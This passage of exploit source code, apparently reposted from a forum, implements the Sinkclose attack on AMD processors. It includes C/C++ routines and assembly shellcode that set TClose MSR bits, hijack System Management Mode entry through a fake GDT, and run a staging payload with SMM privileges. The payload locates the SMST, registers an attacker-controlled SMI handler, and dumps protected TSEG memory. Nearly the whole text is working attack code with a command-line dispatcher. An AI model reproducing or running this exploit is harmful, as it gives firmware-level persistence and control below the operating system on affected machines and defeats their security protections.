    memcpy(
        (void *) x64_staging_page.va,
        (void *) x64_staging_func,
        get_x64_staging_size()
    );

    // b. create a stack for x64_staging_func
    struct alloc_user_physmem stack_page = {0};

    if (alloc_user_mem(PAGE_SIZE, &stack_page) == FALSE) {
        printf("failed to allocate page for stack_page\n");
        exit(-1);
    }

    // probe the stack with known values
    for (int i = 0; i < PAGE_SIZE >> 2; i++) {
        ((UINT32 *)stack_page.va)[i] = 0xBADAB0B0;
    }


    // c. create aux buff for passing data
    struct alloc_user_physmem aux_data_page = {0};
    if (alloc_user_mem(PAGE_SIZE, &aux_data_page) == FALSE) {
        printf("failed to allocate page for aux_data_page\n");
        exit(-1);
    }

    // Reserver a page for the PDPT
    struct alloc_user_physmem pdpt_page = {0};
    if (alloc_user_mem(PAGE_SIZE, &pdpt_page) == FALSE) {
        printf("failed to allocate page for PDPT\n");
        exit(-1);
    }

    memset((void *)pdpt_page.va, 0x00, PAGE_SIZE);

    // Prepare paging layout
    prepare_paging(
        &pdpt_page,
        x64_staging_page.pa,
        stack_page.pa,
        aux_data_page.pa
    );


    // Setup the aux buff

    struct _x64_staging_aux_data *aux_data =
            (struct _x64_staging_aux_data * )aux_data_page.va;

    // Get TSEG config
    UINT64 tseg_base = 0;
    UINT32 tseg_size = 0;

    get_tseg_region(&tseg_base, &tseg_size);
    UINT64 tseg_end = tseg_base + tseg_size;

    aux_data->tseg_size  = tseg_size;
    aux_data->tseg_base  = tseg_base;

    #ifdef INSTALL_FCH_SMI_HANDLER
        aux_data->handler_size = ALIGN(get_smi_handler_size(), 4);
        if (aux_data->handler_size > 0xC00) {
            printf("smi_handler is too large \n");
            exit(-1);
        }

        memcpy(
            (void *) aux_data->handler_code,
            (void *) smi_handler,
            aux_data->handler_size
        );
    #endif
    // Get contiguous chunk of physical memory
    // and map it to our paging structures
    #ifdef DUMP_TSEG
        struct x_mapping *mapping;
        aux_data->buffer_ptr = create_large_buffer(&pdpt_page, &mapping);
    #endif
    
    SW_SMI_CALL smi_call = { 0 };
    smi_call.rax = 0x31337;   
    sinkclose_smi(&smi_call);

    printf("Triggering exploit...\n");   

    smi_call.rax = 0x31338;
    // Sets the TClose on Core0 (And Core1 due to Hyperthreading)
    
    // Trigger attack   
    sinkclose_smi(&smi_call);
    
    //// Enable for dumping TSEG
    #ifdef DUMP_TSEG
        dump_mapping(mapping);
        destroy_mapping(&mapping);
    #endif

    unmap_physical_memory((void *) pdpt_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) aux_data_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) stack_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) x64_staging_page.va, PAGE_SIZE);

    printf("done!\n");
}



void clear_bar_buffer() {
    // Clear BAR Buffer
    void* dma_buf_page = map_physical_memory(SQUIRREL_BAR, PAGE_SIZE);
    memset(dma_buf_page, 0x00, PAGE_SIZE);
    // print_memory(SQUIRREL_BAR, (char *) dma_buf_page, 0x100);
    // getchar();
    unmap_physical_memory(dma_buf_page, PAGE_SIZE);
}

void enable_squirrel() {
    pci_enable_memory_space(2, 0 , 0);
    pci_enable_bus_master(2, 0 , 0);
}



void run_exploit() {

    // Save content of physical pages used   
    void *p0 = map_physical_memory(0x00000000, PAGE_SIZE);
    void *p1 = map_physical_memory(0x00001000, PAGE_SIZE);   
    void *p2 = map_physical_memory(0x00002000, PAGE_SIZE); 
    void *p3 = map_physical_memory(0x00003000, PAGE_SIZE);

    void *px[] = { p0, p1, p2, p3 };

    int pages_used = sizeof(px)/sizeof(px[0]);

    char *buff = (char *) malloc(PAGE_SIZE * pages_used);

    for (int i = 0 ; i < pages_used; i++) {
        memcpy(&buff[PAGE_SIZE * i], px[i], PAGE_SIZE);
        memset(px[i], 0, PAGE_SIZE);
    }

    ////
    //
    // Execute exploit
    sinkclose_exploit();

    /// Restore physical pages content
    for (int i = 0 ; i < pages_used; i++) {
        memcpy(px[i], &buff[PAGE_SIZE * i], PAGE_SIZE);
        unmap_physical_memory(px[i], PAGE_SIZE);
    }

    free(buff);
}





void run_smi() {       
    #ifdef INSTALL_FCH_SMI_HANDLER
        printf("Invoking FCH Smi Handler %02x\n", SINKCLOSE_SW_SMI_NUMBER);
        // Invoke our SMI
        SW_SMI_CALL smi_call = {0};     
        smi_call.SwSmiNumber = SINKCLOSE_SW_SMI_NUMBER;
        smi_call.SwSmiData   = 0xFF;
        trigger_smi(&smi_call);
    #endif
}


/// Re-schedule the running task on any other core but CORE0 and CORE1
#ifdef __linux__
void schedule_on_other_cores() {
    cpu_set_t mask;
    int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);

    CPU_ZERO(&mask);
    for (int i = 2; i < num_cpus; i++) {       
        CPU_SET(i, &mask);       
    }

    if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
        perror("sched_setaffinity");
        exit(EXIT_FAILURE);
    }
}
#else
void schedule_on_other_cores() {
    DWORD_PTR processAffinityMask = 0;
    DWORD_PTR systemAffinityMask = 0;
    HANDLE hProcess = GetCurrentProcess();

    // Get the process affinity mask
    if (!GetProcessAffinityMask(hProcess, &processAffinityMask, &systemAffinityMask)) {
        printf("Error getting process affinity mask\n");
        return;
    }

    // Print the current affinity mask
    printf("Current Process Affinity Mask: %llu\n", processAffinityMask);

    // Remove CPUs 0 and 1 from the affinity mask
    DWORD_PTR newAffinityMask = systemAffinityMask & (~((DWORD_PTR)0x3));

    // Set the new affinity mask for the current process
    if (!SetProcessAffinityMask(hProcess, newAffinityMask)) {
        printf("Error setting process affinity mask\n");
        return;
    }

    // Verify the change
    if (!GetProcessAffinityMask(hProcess, &processAffinityMask, &systemAffinityMask)) {
        printf("Error getting updated process affinity mask\n");
        return;
    }

    printf("New Process Affinity Mask: %llu\n", processAffinityMask);
}
#endif


int current_running_core() {
    #ifdef __linux__
        return sched_getcpu();
    #else
        return GetCurrentProcessorNumber();
    #endif   
}


int main(int argc, char** argv)
{   
    if (argc < 2) {
        printf("Usage: %s <option>\n", argv[0]);
        printf(" 'install_smi' -> uses the CPU bug to install our SMI handler\n");
        printf(" 'run_smi'     -> runs the installed SMI handler\n");
        return -1;
    }

    open_platbox_device();

    if (strcmp(argv[1], "install_smi") == 0) {
        schedule_on_other_cores();

        printf("Running on CPU: %d\n", current_running_core());
        // printf("5 Level-Paging: %d\n", is_5_level_paging());
        // getchar();

        #ifdef SQUIRREL_DEBUG
            enable_squirrel();
            clear_bar_buffer();
        #endif

        run_exploit();
    } else if (strcmp(argv[1], "run_smi") == 0) {
        run_smi();
    }   

    close_platbox_device();

    return 0;
}

sinkclose.s
Код:
%define PROTECT_MODE_CS 0x08
%define PROTECT_MODE_DS 0x20
%define LONG_MODE_CS     0x38
%define TSS_SEGMENT     0x40
%define LONG_MODE_DS    0x48

%define ORIGINAL_GDTR            0x1400
%define SQUIRREL_BAR             0xd0800000
%define CORE0_INITIAL_STACK        0x1E00
%define CORE0_PAGE_TABLE_BASE   0x2000
%define CORE0_NEXT_STAGE        0x1035

%define X64_STAGING_FUNC_VA        0xfffff6fb7dbee000
%define X64_STAGING_RSP            0xfffff6fb7dbef000

%define IA32_EFER                0xC0000080

%define CORE1_MUTEX_SIGNAL_ADDR    0x3220


global _core0_shell

section .text

; This code is executed in SMM by Core0 as part of the attack
[bits 32]
_core0_shell:
    
    ; Clear TClose
    mov ecx,0xc0010113
    rdmsr
    and eax,0xfffffff3
    wrmsr

    mov     ax, PROTECT_MODE_DS
o16 mov     ds, ax
o16 mov     es, ax
o16 mov     fs, ax
o16 mov     gs, ax
o16 mov     ss, ax
    mov esp, CORE0_INITIAL_STACK 

    ; Clean the GDT and CS
    mov ecx, ORIGINAL_GDTR
    lgdt  [ecx]

    push    PROTECT_MODE_CS             
    mov     eax, CORE0_NEXT_STAGE
    push     eax
    retf

next_stage:

    ; mov ecx, SQUIRREL_BAR
    ; lea ecx, [ecx + 0]
    ; mov byte [ecx], 0xFA
    ; xor ecx,ecx

    jmp     ProtFlatMode

[BITS 64]
ProtFlatMode:
    
    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x1]
    ; mov byte [rcx], 0xFB
    ; xor rcx,rcx

    mov eax, CORE0_PAGE_TABLE_BASE
    mov     cr3, rax
    mov     eax, 0x668                   ; as cr4.PGE is not set here, refresh cr3
    mov     cr4, rax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x2]
    ; mov byte [rcx], 0xFC
    ; xor rcx,rcx

    ; Load TSS
    sub     esp, 8                      ; reserve room in stack
    sgdt    [rsp]   
    mov     eax, [rsp + 2]              ; eax = GDT base
    add     esp, 8
    mov     dl, 0x89
    mov     [rax + TSS_SEGMENT + 5], dl ; clear busy flag
    mov     eax, TSS_SEGMENT
    ltr     ax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x3]
    ; mov byte [rcx], 0xFD
    ; xor rcx,rcx

    push    LONG_MODE_CS               ; push cs hardcore here
    call    Base                       ; push return address for retf later
Base:
       add     dword [rsp], @LongMode - Base

    mov rax, [rsp]

    mov     ecx, IA32_EFER
    rdmsr
    or      ah, 1                      ; enable LME
    wrmsr
    mov     rbx, cr0
    or      ebx, 0x80010023            ; enable paging + WP + NE + MP + PE
    mov     cr0, rbx

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x4]
    ; mov byte [rcx], 0xFE
    ; xor rcx,rcx   

    retf
    

@LongMode:
    mov     ax, LONG_MODE_DS
o16 mov     ds, ax
o16 mov     es, ax
o16 mov     fs, ax
o16 mov     gs, ax
o16    mov     ss, ax

    mov     rax, X64_STAGING_RSP
    add        rax, 0xF00
    mov     rsp, rax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x50]
    ; mov dword [rcx], 0x41414141

    mov     rax, X64_STAGING_FUNC_VA
    call     rax     

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x60]
    ; mov dword [rcx], 0x43434343

    ; Return from SMM
    rsm
    
    nop
    nop
    nop
    nop
    db 'I'
    db 'O'
    db 'A'   
    nop
    nop
    nop
    nop
    nop
 
sinkclose.cpp
C++:
#include "global.h"
#include "pci.h"
#include "common_chipset.h"
#include "amd_chipset.h"
#include "Util.h"
#include "physmem.h"
#include "msr.h"
#include "smi.h"
#include "smm_communicate.h"

#ifdef __linux__
#include <sched.h>
#include <unistd.h>
#endif

extern "C" {
    void _core0_shell();
}

#define DUMP_TSEG 1
//#define SQUIRREL_DEBUG      1
// #define INSTALL_FCH_SMI_HANDLER 1
// #define INSTALL_ROOT_SMI_HANDLER 1


#define SQUIRREL_BAR        0xD0800000

/// Used for calculating sizes of the assembly functions
/// (shellcode defined in sinkclose.s)
#define FUNCTION_END_NEEDLE "\x90\x90\x90\x90IOA\x90\x90\x90\x90\x90"

/// This is the space in between the different SMM_BASE across
/// the different cores
#define SMM_BASE_DISTANCE               0x2000

/// The GDTR is FFFE-FFFFFFFF
/// Base is then 0xFFFFFFFF -> Wraps around 4G and is shifted off by 1 at 0x0000
#define GDT_SINKCLOSE_ADDRESS           0x0000

#define CORE0_SHELLCODE_ADDRESS         0x1000 // 400 bytes for initial 32bit payload (core0_shell)
#define ORIGINAL_GDTR                   0x400 // GDTR to reload
#define ORIGINAL_GDT_OFFSET             0x408 // Start of GDT to reload
#define ORIGINAL_GDT                    0x1408

#define CORE0_PML4                      0x2000  // Physical Address



#define PG_RECURSIVE_ENTRY      0x1ED
#define PG_X64_STAGING_FUNC     0x1EE
#define PG_STACK_ENTRY          0x1EF
#define PG_AUX_DATA_ENTRY       0x1FF

/*
>>> print_idxs(0xfffff6fb7dbff000)
pte-i : 1ff
pde-i : 1ed
pdpt-i: 1ed
pml4-i: 1ed
*/
#define X64_STAGING_FUNC_AUX_DATA_VADDR 0xfffff6fb7dbff000

#define CORE1_SHELLCODE_ADDRESS (CORE0_SHELLCODE_ADDRESS + SMM_BASE_DISTANCE)

UINT64 PhysicalMappings[] = {
    GDT_SINKCLOSE_ADDRESS,
    CORE0_SHELLCODE_ADDRESS,
    CORE0_PML4,
    CORE1_SHELLCODE_ADDRESS,
};


#define SINKCLOSE_SMI_HANDLER_VADDR     0x1000
#define SINKCLOSE_SW_SMI_NUMBER         0x69


#pragma pack(push, 1)
struct _pxe {
  union {
    struct {
      UINT64 p: 1;
      UINT64 rw: 1;
      UINT64 us: 1;
      UINT64 pwt: 1;
      UINT64 pcd: 1;
      UINT64 a: 1;
      UINT64 d: 1;
      UINT64 ps: 1;
      UINT64 g: 1;
      UINT64 rsvd0: 3;
      UINT64 pfn: 40;
      UINT64 rsvd1: 11;
      UINT64 xd: 1;
    } parts;
    UINT64 val;
  };
};


struct _x64_staging_aux_data {
    UINT64 tseg_base;
    UINT32 tseg_size;
    // This is a buffer used to copy out TSEG
    UINT64 buffer_ptr;
    UINT32 handler_size;  
    UINT8  handler_code[];      
};

#pragma pack (pop)



#define EFIAPI

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_SMM_HANDLER_ENTRY_POINT)(
  EFI_HANDLE  DispatchHandle,
  void  *Context,
  void    *CommBuffer,
  UINT64   *CommBufferSize
  );

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_MM_INTERRUPT_REGISTER)(
  EFI_SMM_HANDLER_ENTRY_POINT    Handler,
  EFI_GUID                *HandlerType,
  EFI_HANDLE                    *DispatchHandle
  );


typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_LOCATE_PROTOCOL)(
  EFI_GUID  *Protocol,
  void      *Registration,
  void      **Interface
  );

typedef struct {
  UINTN    SwSmiInputValue;
} EFI_SMM_SW_REGISTER_CONTEXT;

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_SMM_SW_REGISTER2)(
  void *This,
  EFI_SMM_HANDLER_ENTRY_POINT   DispatchFunction,
  EFI_SMM_SW_REGISTER_CONTEXT    *RegisterContext,
  EFI_HANDLE                     *DispatchHandle
  );

typedef struct _EFI_SMM_SW_DISPATCH2_PROTOCOL {
  EFI_SMM_SW_REGISTER2      Register;
  void *                    UnRegister;
  ///
  /// A read-only field that describes the maximum value that can be used in the
  /// EFI_SMM_SW_DISPATCH2_PROTOCOL.Register() service.
  ///
  UINTN                     MaximumSwiValue;
} EFI_SMM_SW_DISPATCH2_PROTOCOL;

typedef  EFI_MM_INTERRUPT_REGISTER   EFI_SMM_INTERRUPT_REGISTER;

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_ALLOCATE_POOL)(
  EFI_MEMORY_TYPE              PoolType,
  UINTN                        Size,
  void                         **Buffer
  );


#define SIGNATURE_16(A, B)                     ((A) | (B << 8))
#define SIGNATURE_32(A, B, C, D)               (SIGNATURE_16 (A, B) | (SIGNATURE_16 (C, D) << 16))
#define MM_MMST_SIGNATURE                      SIGNATURE_32 ('S', 'M', 'S', 'T')
#define SMST_ALLOCATE_POOL_FUNC_OFFSET         0x50
#define SMST_LOCATE_PROTOCOL_FUNC_OFFSET       0xD0
#define SMST_SMI_HANDLER_REGISTER_FUNC_OFFSET  0xE0



int sinkclose_smi(SW_SMI_CALL *smi_call) {
    smi_call->TriggerPort = get_smi_port();

    int status;
    #ifdef __linux__
        status = ioctl(g_hDevice, IOCTL_SINKCLOSE, smi_call);          
    #else //_WIN32      
        DWORD dwBytesReturned = 0;
        status = DeviceIoControl(
            g_hDevice,
            IOCTL_SINKCLOSE,
            smi_call, sizeof(*smi_call),
            NULL, NULL,
            &dwBytesReturned,
            NULL
        );
    #endif  

    return status;
}


void * allocate_page() {
    void *mem;
    #ifdef __linux__
        mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    #else //_WIN32      
        mem = VirtualAlloc(NULL, PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    #endif

    memset(mem, 0x00, PAGE_SIZE);
    return mem;
}

void free_page(void *page) {
    #ifdef __linux__
        munmap(page, PAGE_SIZE);
    #else //_WIN32      
        VirtualFree(page, PAGE_SIZE, MEM_RELEASE);
    #endif
}

/// @brief  This is 64-bit code executing with SMM privileges
/// Currently, it fetches the gSmst and registers a new SMI Handler
/// The SMI Handler function will point to physical address 0x1000
#ifdef _WIN32
#pragma code_seg(".x64_staging_section")
#endif
void
#ifdef __linux__
__attribute__((section(".x64_staging_section")))
#endif
x64_staging_func() {      

    #ifdef SQUIRREL_DEBUG
        UINT32 *squirrel = (UINT32 *) SQUIRREL_BAR;
        squirrel[32] = 0x42424242;
    #endif

    struct _x64_staging_aux_data *aux_data =
             (struct _x64_staging_aux_data * ) X64_STAGING_FUNC_AUX_DATA_VADDR;

    UINT32 *tseg_start = (UINT32 *) aux_data->tseg_base;
    UINT32 tseg_size   = aux_data->tseg_size;
    UINT32 *tseg_end   = (UINT32 *) ((char *)tseg_start + tseg_size);


    UINT32 *ptr = tseg_start;
    // Find SMST
    while (*ptr != MM_MMST_SIGNATURE && ptr != tseg_end) {
        ptr++;
    }

    #ifdef SQUIRREL_DEBUG
        squirrel[34] = *ptr;  
    #endif
   
    EFI_STATUS Status;

    #ifdef SQUIRREL_DEBUG
        squirrel[35] = 0x41414141;        
    #endif

    #ifdef INSTALL_FCH_SMI_HANDLER

        EFI_LOCATE_PROTOCOL SmmLocateProtocol = (EFI_LOCATE_PROTOCOL)
                            *(UINT64 *)((char *)ptr + SMST_LOCATE_PROTOCOL_FUNC_OFFSET);

        EFI_SMM_SW_DISPATCH2_PROTOCOL  *SwDispatch;
        EFI_SMM_SW_REGISTER_CONTEXT    SwContext;
        EFI_HANDLE                     SwHandle = 0;

        #ifdef SQUIRREL_DEBUG
            squirrel[35] = 0x43434343;
            *(UINT64 *)&squirrel[36] = (UINT64) SmmLocateProtocol;
        #endif

       
        // Allocate pool of memory for the handler

        void *smi_handler_dst_location = NULL;

        EFI_ALLOCATE_POOL SmmAllocatePool = (EFI_ALLOCATE_POOL)
                            *(UINT64 *)((char *)ptr + SMST_ALLOCATE_POOL_FUNC_OFFSET);

         Status = SmmAllocatePool (
            RuntimeCode,
            aux_data->handler_size,
            (void **)&smi_handler_dst_location
        );

        #ifdef SQUIRREL_DEBUG
            *(UINT64 *)&squirrel[38] = (UINT64) smi_handler_dst_location;
        #endif

        // Memcpy      
        UINT32 *dst_ptr = (UINT32 *) smi_handler_dst_location;  
        UINT32 *src_ptr = (UINT32 *) aux_data->handler_code;
        for ( int i = 0; i < (aux_data->handler_size >> 2); i++) {
            dst_ptr[i] = src_ptr[i];
        }

        // Register FCH SMI Handler

        EFI_GUID  gEfiSmmSwDispatch2ProtocolGuid = {          
            0x18a3c6dc, 0x5eea, 0x48c8, {0xa1, 0xc1, 0xb5, 0x33, 0x89, 0xf9, 0x89, 0x99}
        };

        Status = SmmLocateProtocol(
            &gEfiSmmSwDispatch2ProtocolGuid,
            NULL,
            (void **)&SwDispatch
        );

        #ifdef SQUIRREL_DEBUG
            squirrel[40] = Status;  
            *(UINT64 *)&squirrel[42] = (UINT64 ) SwDispatch;  
        #endif

        SwContext.SwSmiInputValue = SINKCLOSE_SW_SMI_NUMBER;

        Status = SwDispatch->Register(
            SwDispatch,
            (EFI_SMM_HANDLER_ENTRY_POINT ) smi_handler_dst_location,
            &SwContext,
            &SwHandle
        );

    #elif INSTALL_ROOT_SMI_HANDLER

        EFI_SMM_INTERRUPT_REGISTER SmiHandlerRegister = (EFI_SMM_INTERRUPT_REGISTER)
                            *(UINT64 *)((char *)ptr + SMST_SMI_HANDLER_REGISTER_FUNC_OFFSET);

        EFI_GUID  gSinkcloseGuid = {          
            0x11111111, 0x1111, 0x1111, {0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11}
        };

        EFI_HANDLE  DispatchHandle;

        SmiHandlerRegister(
            (EFI_SMM_HANDLER_ENTRY_POINT) SINKCLOSE_SMI_HANDLER_VADDR,
            &gSinkcloseGuid,
            &DispatchHandle
        );
    #endif


    #ifdef DUMP_TSEG
        UINT32 *dst_ptr = (UINT32 *) aux_data->buffer_ptr;  
        UINT32 *src_ptr = tseg_start;
        for ( int i = 0; i < (tseg_size >> 2); i++) {
            dst_ptr[i] = src_ptr[i];
        }
    #endif


    #ifdef SQUIRREL_DEBUG      
        squirrel[48] = 0x45454545;  
    #endif

    return;
}

#ifdef _WIN32
#pragma code_seg()
#endif

void
#ifdef __linux__
__attribute__((section(".marker_section1")))
#endif
marker_section1() {};



/// @brief  Gets the size of the x64_staging function
///         by calculating the distance between sections
/// @return
UINT32 get_x64_staging_size() {
    UINT32 section_size = 0;
    #ifdef __linux__
    section_size = ((UINT64)marker_section1 - (UINT64)x64_staging_func);
    #else
    section_size = PAGE_SIZE;
    #endif  
    return section_size;
}

/// Set the TClose
void set_tclose_for_core(UINT32 core_id) {
    UINT64 tseg_mask = 0;
    do_read_msr_for_core(core_id, AMD_MSR_SMM_TSEG_MASK, &tseg_mask);
    tseg_mask = tseg_mask | (0b11 << 2);
    do_write_msr_for_core(core_id, AMD_MSR_SMM_TSEG_MASK, tseg_mask);
}


unsigned char FAKE_GDT[] = {
    // NULL Descriptor
    /*0x00*/ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    // Code Segment - 32 Bit - DPL0
    /*0x08*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xcf, 0x00,
    // Code Segment - 32 Bit - DPL0
    /*0x10*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xcf, 0x00,
    // Data Segment - 32 Bit
    /*0x18*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0xcf, 0x00,
    // Data Segment - 32 Bit
    /*0x20*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0xcf, 0x00,
    // Code Segment - 16 bit
    /*0x28*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0x8f, 0x00,
    // Data Segment - 16 bit
    /*0x30*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0x8f, 0x00,
    // Code Segment - 64 bit
    /*0x38*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xaf, 0x00,
    // TSS Segment
    /*0x40*/ 0x68, 0x00, 0x08, 0x31, 0xd0, 0x8b, 0x80, 0xae,
    // Data Segment - 64 bit
    /*0x48*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x92, 0xaf, 0x00,
    /*0x50*/ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

void updateGDTBase(unsigned char* gdt, int entryIndex, unsigned int newBase) {
    // Calculate the starting index of the entry in the GDT
    int entryStartIndex = entryIndex * 8;

    // Update the base address bytes in the entry
    gdt[entryStartIndex + 2] = (newBase >> 0) & 0xFF;
    gdt[entryStartIndex + 3] = (newBase >> 8) & 0xFF;
    gdt[entryStartIndex + 4] = (newBase >> 16) & 0xFF;
    gdt[entryStartIndex + 7] = (newBase >> 24) & 0xFF;
}


void patch_shellcode_ptr(char* shellcode, UINT32 base_offset, UINT32 val)
{
    *((UINT32*)&shellcode[base_offset + 6])  = val;
    *((UINT32*)&shellcode[base_offset + 18]) = val + 4;
}


/// @brief  Copies the shellcode at CORE0_SHELLCODE_ADDRESS
void prepare_shellcode_core0(UINT32 smi_entry_point) {

    // Get pointer to the needle and calculate function size
    void *ptr = memmem(
        (void *) &_core0_shell,
        PAGE_SIZE,
        FUNCTION_END_NEEDLE,
        sizeof(FUNCTION_END_NEEDLE) - 1
    );

    UINT32 sh_len = (UINT64)ptr -  (UINT64)_core0_shell;  
    printf("core0_shell is %d bytes long\n", sh_len);

    printf("copying core0_shell to physical address %08x\n", CORE0_SHELLCODE_ADDRESS);

    char* shellcode_page = (char *)map_physical_memory(CORE0_SHELLCODE_ADDRESS, PAGE_SIZE);
    // Copy 32bit Core0_shell
    memcpy(shellcode_page, (void *) _core0_shell, sh_len);


    // Create a copy of the GDT at offset ORIGINAL_GDT_OFFSET
    // This is used by core0_shell to reload the gdt and have clean flat descriptors
    // It needs to be placed in physical address 0x1000 because our paging layout
    memcpy(
        (char*)shellcode_page + ORIGINAL_GDT_OFFSET,
        (char*)FAKE_GDT,
        sizeof(FAKE_GDT)
    );

    // Setup GDTR
    *(UINT16 *)((char*)shellcode_page + ORIGINAL_GDTR) = sizeof(FAKE_GDT) - 1;
    *(UINT32 *)((UINT16 *)((char*)shellcode_page + ORIGINAL_GDTR) + 1) = ORIGINAL_GDT;
   

    unmap_physical_memory(shellcode_page, PAGE_SIZE);
}


/// @brief  Copies the shellcode at CORE1_SHELLCODE_ADDRESS
void prepare_shellcode_core1(UINT32 smm_save_state_area) {
        char shellcode_core1[] =
        // Clear TClose
        "\xb9\x13\x01\x01\xc0"                         // mov ecx,0xc0010113
        "\x0f\x32"                                     // rdmsr
        "\x83\xe0\xf3"                                 // and eax,0xfffffff3
        "\x0f\x30"                                     // wrmsr

        // Offset 12
        // Write to BAR buffer
        "\x90\x90\x90\x90\x90"                      // mov    ecx,0xd0800011
        "\x90\x90\x90"                              // mov    BYTE PTR [ecx],0x71
        "\x90\x90"                                  // xor    ecx,ecx

        // Offset 22
        // Restore RIP
        "\xa1\x00\x32\x00\x00"                      // mov    eax,ds:0x3200
        "\xB9\x78\xDF\xF4\xCE"                      // mov ecx, 0xcef4df78
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x04\x32\x00\x00"                      // mov    eax,ds:0x3204
        "\xB9\x7c\xDF\xF4\xCE"                      // mov ecx, 0xcef4df7c
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 46
        // Restore RSP
        "\xa1\x08\x32\x00\x00"                      // mov    eax,ds:0x3208
        "\xB9\xD8\xDF\xF4\xCE"                      // mov ecx, 0xcef4dfd8
        "\x89\x01"                                  // mov    DWORD PTR [ecx],eax

        "\xa1\x0C\x32\x00\x00"                      // mov    eax,ds:0x320C
        "\xB9\xDC\xDF\xF4\xCE"                      // mov ecx, 0xcef4dfdc
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 70
        // Restore RBP
        "\xa1\x10\x32\x00\x00"                      // mov    eax,ds:0x3210
        "\xB9\xD0\xDF\xF4\xCE"                      // mov ecx, 0xcef4bfd0
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x14\x32\x00\x00"                      // mov    eax,ds:0x3214
        "\xB9\xD4\xDF\xF4\xCE"                      // mov ecx, 0xcef4bfd4
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 94
        // Restore CR3
        "\xa1\x18\x32\x00\x00"                      // mov    eax,ds:0x3218
        "\xB9\x50\xDF\xF4\xCE"                      // mov ecx, 0xcef4df50
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x1C\x32\x00\x00"                      // mov    eax,ds:0x321C
        "\xB9\x54\xDF\xF4\xCE"                      // mov ecx, 0xcef4df54
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 118
        // Set auto-halt restart
        // "\xB9\x41\x41\x41\x41"                      // mov ecx, SMM_BASE + FEC9
        // "\x31\xc0"                                  // xor eax, eax
        // "\x40"                                      // inc eax
        // "\x89\x01"                                  // mov DWORD PTR [ecx],eax


        // Write to BAR buffer
        "\xB9\x11\x00\x80\xD0"                      // mov    ecx,0xd0800011
        "\xC6\x01\x69"                              // mov    BYTE PTR [ecx],0x69

        // // loop
        // "\xa1\x20\x32\x00\x00"                      // mov    eax,ds:0x3220
        // "\x85\xc0"                                  // test   eax,eax
        // "\x74\xf7"                                  // je     loop

        "\x0f\xaa";                                // rsm

   
    #define SMM_SAVE_STATE__OFFSET_RIP 0x178
    #define SMM_SAVE_STATE__OFFSET_RBP 0x1d0
    #define SMM_SAVE_STATE__OFFSET_RSP 0x1d8
    #define SMM_SAVE_STATE__OFFSET_CR3 0x150
    #define SMM_SAVE_STATE__OFFSET_AUTO_HALT_RESTART 0xC9

    patch_shellcode_ptr(
        shellcode_core1,
        22,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RIP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        46,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RSP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        70,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RBP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        94,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_CR3
    );

    // Patch auto-halt restart
    // *((UINT32*)&shellcode_core1[119]) =
    //      smm_save_state_area + SMM_SAVE_STATE__OFFSET_AUTO_HALT_RESTART;


    void* shellcode_page = map_physical_memory(CORE1_SHELLCODE_ADDRESS, PAGE_SIZE);
    memcpy(shellcode_page, shellcode_core1, sizeof(shellcode_core1) - 1);
    unmap_physical_memory(shellcode_page, PAGE_SIZE);
}




struct x_mapping {
    UINT32 size;

    UINT32 aligned_size;
    UINT64 vaddr;      
    UINT32 num_pages;
    void **pages;
    UINT32 num_tables;
    void  **tables;
};

static void print_mapping(struct x_mapping *mapping) {
    printf("VA: %016llx\n", mapping->vaddr);
    printf("   PML4-i: %x\n", (mapping->vaddr >> 39) & 0b111111111);
    printf("   PDPT-i: %x\n", (mapping->vaddr >> 30) & 0b111111111);
    printf("     PD-i: %x\n", (mapping->vaddr >> 21) & 0b111111111);
    printf("     PT-i: %x\n", (mapping->vaddr >> 12) & 0b111111111);

    printf("Size: %08x | Aligned-Size: %08x\n", mapping->size, mapping->aligned_size);
